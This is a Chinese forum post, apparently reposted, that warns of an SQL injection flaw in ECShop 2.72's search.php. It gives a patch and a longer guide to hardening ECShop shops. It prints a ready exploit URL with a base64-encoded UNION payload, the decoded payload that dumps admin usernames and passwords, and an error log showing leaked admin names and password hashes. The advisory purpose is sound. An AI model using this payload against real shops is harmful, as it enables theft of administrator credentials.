ecshop v2.72版本（含更早版本）的爆出产品搜索功能漏洞，该漏洞可以被他人利用，通过sql注入方式入侵ecshop网店系统。下面是官方的解决方案：

漏洞目标文件：
ecshop v2.72版本 ecshop站点根目录/mobile/seach.php
ecshop v2.72以前版本 ecshop站点根目录/seach.php

search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319pTXcopyd-code

解决方案:
修改目标文件：search.php

if (is_not_null($val) )

修改为
if (is_not_null($val) && is_numeric($key))
-----------------------------------------------------
注意最近严重bug，search.php的注入漏洞，直接爆出所有管理员密码！具体里利用语句！
search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319pTXcopyd-code

base64_decode后的语句！
a:1:{s:4:"attr";a:1:{s:125:"1') and 1=2 GROUP BY goods_id union all select concat(user_name,0x3a,password,'"\') union select 1#"'),1 from ecs_admin_user#";s:1:"1";}}

今天在一个0day上看到。 本地环境测试2.7.2. 直接包曝出。。。希望大家注意。尽快修补。我刚刚入从C#转入php能力不够，望高手修补。影响还是比较大的！

MySQL server error report:Array(   [0] => Array     (         [message] => MySQL Query Error     )   [1] => Array     (         [sql] => SELECT g.goods_id, g.goods_name, g.market_price, g.is_new, g.is_best, g.is_hot, g.shop_price AS org_price, IFNULL(mp.user_price, g.shop_price * '1') AS shop_price, g.promote_price, g.promote_start_date, g.promote_end_date, g.goods_thumb, g.goods_img, g.goods_brief, g.goods_type FROM `ecshop`.`ecs_goods` AS g LEFT JOIN `ecshop`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0' WHERE g.is_delete = 0 AND g.is_on_sale = 1 AND g.is_alone_sale = 1 AND g.goods_id IN ('dsktt:f1848c3adc916b8ccf6759ae29f5bfe8"') union select 1#"','bjgonghuo1:d0c015b6eb9a280f318a4c0510581e7e"') union select 1#"','shhaigonghuo1:4146fecce77907d264f6bd873f4ea27b"') union select 1#"') AND (( 1 ) ) ORDER BY goods_id DESC LIMIT 10     )   [2] => Array     (         [error] => The used SELECT statements have a different number of columns     )   [3] => Array     (         [errno] => 1222     ))
---------------------------------------------------------
Ecshop网店安全设置方法（防范网页挂马）

昨天看新闻，读到一条是关于wordpress博客的新闻。Wordpress被一家国外网络防毒公司「光荣」的被评为「2010年最危险的软件」。Google（谷歌）也曾荣获此殊荣。上榜原因很简单，作为一款全球最火热个人博客发布平台，庞大的用户群体，为网络不法分子提供了一个广阔的施展空间，非常多的站点都没有效的得到保护，成为恶意软件、木马的攻击对象。这正验证了我们常说的一句话「那里有人，那里就有市场，那里就有利润。」作为在国内同样受关注和使用率都非常高的ecshop网店系统，同样也面临着同样情况。如何安全使用ecshop？如何设置ecshop网店安全？就是今天的全部内容。

接下来介绍的ecshop网店安全设置方法适于纯linux环境下的php虚拟主机，文中提到的ecshop版本号为：ecshop v2.7.2 GBK版。

一、ecshop网店安全设置从安装ecshop开始

养成一个良好安全防范习惯。在安装中许多用户都有一个习惯，一切用默认，肯定没有错。是的 使用默认设置，不断点击下一步可以帮你顺利完成ecshop安装。但是，建议用户，在安装ecshop的时候，建议你在安装的时，应该注意几个细节：

A、 在linux环境下安装ecshop时，系统会提示我们将部分目录要可写权限（777）,一些用户图方便，省事直接将所有目录设置为777的可写权限，这个习惯不好，这会为你带来安全隐患。请发点时间，根据ecshop安装向导提示的要求去设置目录权限。设置目录权限，不会耽误你多少时间，在中设置目录权限777非常方便快捷。

B、 关于网站管理员帐号和密码，这个我就不多说了吧！不要用大家都能猜的到的admin，要使用强壮密码。

C、 关于mysql数据库。安装ecshop过程中，配置mysql数据库信息时候，建议用户能修改默认的ecshop的数据库表前缀「ecs」。这可以给你网站安全性能加分的。

二、ecshop网店安全设置从网站目录权限抓起

把攻击者感谢兴趣的API/CERT/ IMAGES/ JS/LANGUAGES/widget这些文件权限设置为读取权限，的空间，可以精确设置每一张页面的权限，给了用户充分发挥能力的平台。你可以根据ecshop的特点，和参阅官方关于ecshop目录权限要求的文档，进行精确定制你网店的权限，打造一个严密的权限控制体系。同时，虚拟主机服务器也会将一些敏感，重要的文件自动保护起来，防止网页挂马或入侵，这就也就是为什么有的客户反映说，在删除修改文件时，有的文件无法删除或修改的原因。非常重要用户网站的安全，也投入了大量的工作时间为用户创造一个安全的网站运行部署平台。如果你的ecshop已经在运行，在设置、修改、 ecshop网页文件遇到无法修改的文件时候，你可以参阅FTP空间部分受保护文件无法删除的解决办法获取帮助。

如果你有php基础，建议你对User.php文件进行修改，对文件中的SQL变量进行严格过滤，可以有效预防SQL注入的方式被挂马。

通过上述的方法进行设置，可以有效避免很多而已攻击代码，抵抗攻击者的攻击，保护网店正常安全运行。

三、ecshop安全设置从细节做起

Ecshop系统对会员功能管理是非常可靠和成熟的。如果你的网店开通了会员注册功能，请开通会员注册邮件认证功能吧。好处，不言而喻，只要常上网的人都懂的，垃圾会员和垃圾信息的危害。

请你登录你的ecshop网店管理后台，查看你的用户列表，很多用户安装后，没有清楚ecshop默认的管理员帐号和会员帐号，请记得一定清理哦。如果就这样被人用登录你的后台，这不能不说是一个悲剧。

网店还开启了评论功能，请在后台开启评论验证功能，拒绝垃圾评论的骚扰。

四、说说ecshop模版

模版就是ecshop的「脸蛋」，一张漂亮的脸蛋，是吸引用户的一种方式，但是神马东西都往「脸」上抹，迟早会出事的。Ecshop免费的模版有非常多，真的是非常多，请选择免费模版装修ecshop网店的「脸面」的时候，请你分析下这些模版代码，不要把「后门」和麻烦带回家，并把这个种风险转嫁给您的客户，众所周知，购物类的网站对安全是很敏感的。如果一个客户在你的网店上发现了木马或威胁安全的东西，我想没几个人还会再次光临。推荐用户使用官方推荐的模版提供商，或自己开发ecshop模版。

五、修改ecshop网店管理员员登录地址

关于修改ecshop网店管理员员登录地址，仅仅推荐，新手站长要尝试修改ecshop网店管理员员登录地址请做好备份。从ecshop官方论坛得到的一些信息说，修改管理员后台地址会导致一些功能无法使用和一些文件的调用。具体，我也不清楚，只提醒有需要改的用户，请认真考虑，谘询资深专业人士。

感谢你能够阅读通篇文字，真切的希望，这篇基础教程能够帮你完善ecshop安全设置。安全是没有绝对的，但是可以通过我们的勤奋和努力打造一个相对安全带环境，尽可能的抵制恶意软件的侵袭，另外请做好网站数据的备份工作，即使发生状况，也不用着急。备份在手，建站不愁。

转贴自 http://www.dk101.com/Discuz/viewthre...0#ixzz1RNWwFuaU
相关讨论 http://bbs.3344.eu/EcShop...7-1-1.html

不知道官网有没有修正了..